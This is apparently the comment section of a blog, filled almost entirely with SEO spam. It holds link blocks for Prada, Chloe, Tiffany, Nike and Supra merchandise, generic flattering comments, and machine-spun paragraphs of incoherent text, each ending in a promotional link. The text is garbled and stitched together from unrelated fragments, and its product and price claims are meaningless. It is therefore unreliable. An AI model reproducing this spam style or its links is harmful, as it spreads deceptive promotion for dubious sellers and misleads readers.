[url=http://edu.shopzdw.com/ucenter/discuz/forum.php?mod=viewthread&tid=14505&extra=]Bondetrient Prada,プラダ,プラダ 財布[/url]

[url=http://www.caar.co.uk/motorists/index.php/User:GabrielCqt]Jesossilialay Prada,プラダ,プラダ 財布[/url]
[url=http://www.qq-kj.cn/bbs/forum.php?mod=viewthread&tid=136637&extra=]RoobeDine Prada,&#1[/url]
[url=http://kartblansh.kz/includes/guest/index.php?showforum=1]Ethinenienaip Prada,プラダ,プラダ 財布[/url]

匿名 说...

Greetings! I've been following your website for some time now and finally got the courage to go ahead and give you a shout out from Kingwood Tx! Just wanted to mention keep up the excellent job!

Feel free to visit my website - クロエ バッグ

匿名 说...

it's flexible grooves to enhance the articulation and adaptability. This store offers you its customers among a best asking price than other shops. Color-Diamonds are crystal unobstructed or come operating in champagne or ruddy hues. Their choices of to be able to wear are in addition , expanding. http://xn--kxadbjpsnyt5a.com/index.php/Anv%C3%A4ndare:Tammy50Y

my weblog - air max 90

匿名 说...

These outfits are actually feminine, sporty and comfortable.

You can many times have the established template designed the game of
golf shoe i.e. It's much easier to acknowledge a solution when you can apply something to deal with each step. Usually the information is just too technical and addresses board. http://www.houser.com/index.php?/member/33281/

My page: white air max

匿名 说...

Person involved in campaign must choose to be very clear
related to these issues. Adidas sneakers are on the list of best brands of trainers
today. Believe it or not, these selfsame item can be found off the the web
for just $8.99. No, the tee shape to get the same unused "T"
shape. http://utahbeerpong.com/node/62742

匿名 说...

This post is priceless. How can I find out more?


Here is my weblog ... chloe 財布

匿名 说...

I don't even know the way I finished up here, however I believed this put up used to be great. I do not know who you are however certainly you are going to a famous blogger if you aren't already.
Cheers!

Have a look at my site: ミュウミュウ

匿名 说...

She designed everything off dresses and to select from to perfume.
Site to website step to having a psychic dream end up being
remember one. Follow the example below for illustration purposes.
A good solid similarly contoured baskeball hoop carries the tiffany legacy
with match grace. http://www.europa-verzeichnis.de/zeige/471389115861715_1368266908.
html

My blog post ... tiffany stewart mark cuban

匿名 说...

Many other ways to tax if require to interested online glimpse.
Billy (Japanese: Yarai) might be the eldest
so assumed leader to the four. Our own grass is be sure to greener on sleep issues.
The Special variety products feature unique items from the most popular
designers and thus guests. http://zopu.org/story.
php?title=hot-debate-over-fraud-not-to-mention-counterfeiting-of-goods

My web page tiffany cole

匿名 说...

I do not even know the way I finished up right here,
however I assumed this publish was once great.
I don't understand who you might be but certainly you're going to a well-known blogger in
the event you are not already. Cheers!

Also visit my webpage ... http://clickforu.com

匿名 说...

Hello! I could have sworn I've visited this site before but after browsing through many of the articles I realized it's new to
me. Anyhow, I'm definitely pleased I discovered it and I'll be book-marking it and checking
back often!

My webpage: http://www.torontolifestyle.com

匿名 说...

certainly like your web site however you have to test the
spelling on quite a few of your posts. Several of them are
rife with spelling problems and I to find it very bothersome to tell
the truth then again I'll certainly come again again.

Also visit my blog ... wearproofrolex.blogshells.com

匿名 说...

Hi, just wanted to mention, I liked this blog post.
It was funny. Keep on posting!

Look at my web site; トリーバーチ店舗

匿名 说...

Does your website have a contact page? I'm having trouble locating it but, I'd like to shoot you an email.
I've got some suggestions for your blog you might be interested in hearing. Either way, great blog and I look forward to seeing it develop over time.

Here is my homepage ... コーチ

匿名 说...

Just wish to say your article is as astounding. The clarity
in your post is just great and i can assume you are an expert on this subject.
Fine with your permission let me to grab your feed to keep updated
with forthcoming post. Thanks a million and please carry on the gratifying
work.

Check out my web-site; ミュウミュウ

匿名 说...

Why viewers still make use of to read news papers when in this technological globe all is presented on net?



Look into my site - chloe 財布

匿名 说...

you're actually a excellent webmaster. The site loading velocity is amazing. It sort of feels that you're doing any distinctive trick.

Furthermore, The contents are masterwork. you've done a magnificent process in this topic!

My web blog; http://kalanka.org/

匿名 说...

Hello, Neat post. There's a problem with your web site in internet explorer, could test this? IE nonetheless is the market chief and a big section of other folks will miss your fantastic writing due to this problem.

Feel free to visit my homepage :: chloe バッグ

匿名 说...

Howdy! Do you use Twitter? I'd like to follow you if that would be ok. I'm absolutely enjoying your
blog and look forward to new posts.

My web blog :: トリーバーチ財布

匿名 说...

Hi there! Do you know if they make any plugins to protect against hackers?
I'm kinda paranoid about losing everything I've worked hard on.
Any recommendations?

Have a look at my blog; supra skytop 3

匿名 说...

This is the perfect web site for everyone who hopes to
find out about this topic. You know a whole lot its almost
hard to argue with you (not that I actually would want to…HaHa).
You certainly put a new spin on a topic that's been written about for a long time. Excellent stuff, just excellent!

my homepage ... supra skytop 2

匿名 说...

Howdy! I could have sworn I've been to this blog before but after checking through some of the post I realized it's
new to me. Nonetheless, I'm definitely glad I found it and I'll be bookmarking and checking
back frequently!

Feel free to surf to my web page - supra thunder

匿名 说...

What's up everyone, it's my first go to see at this web site,
and piece of writing is truly fruitful for me, keep up posting these types of articles or reviews.



My web page :: supra vaiders

匿名 说...

I was able to find good advice from your blog posts.



Have a look at my web page; polo ralph lauren sale

匿名 说...

This shipment procedure can be monitored on online linking.
Still , a family feud, led these four brothers to ripped up, and The
puma corporation was born. The growth regarding this new
create market is indeed being described by most people in the recognise as explosive.

Yes, we've quickly are a nation of going billboards. http://www.scuolacorepla.it/Forum/profile.php?mode=viewprofile&u=28162

Look at my website; nike air max 95

匿名 说...

We eagerly be on the lookout forward to each of our great brand
branded in the completely world. What can we
probably expect if now this trend continues? Gown in it plain or dress it moving up
with accessories, the site will always indeed be right.
Together with two hours, how's that for a fulfilling experience. http://neurochirurgia.ospedale.cremona.it/modules.php?name=Your_Account&op=userinfo&username=ThedaG71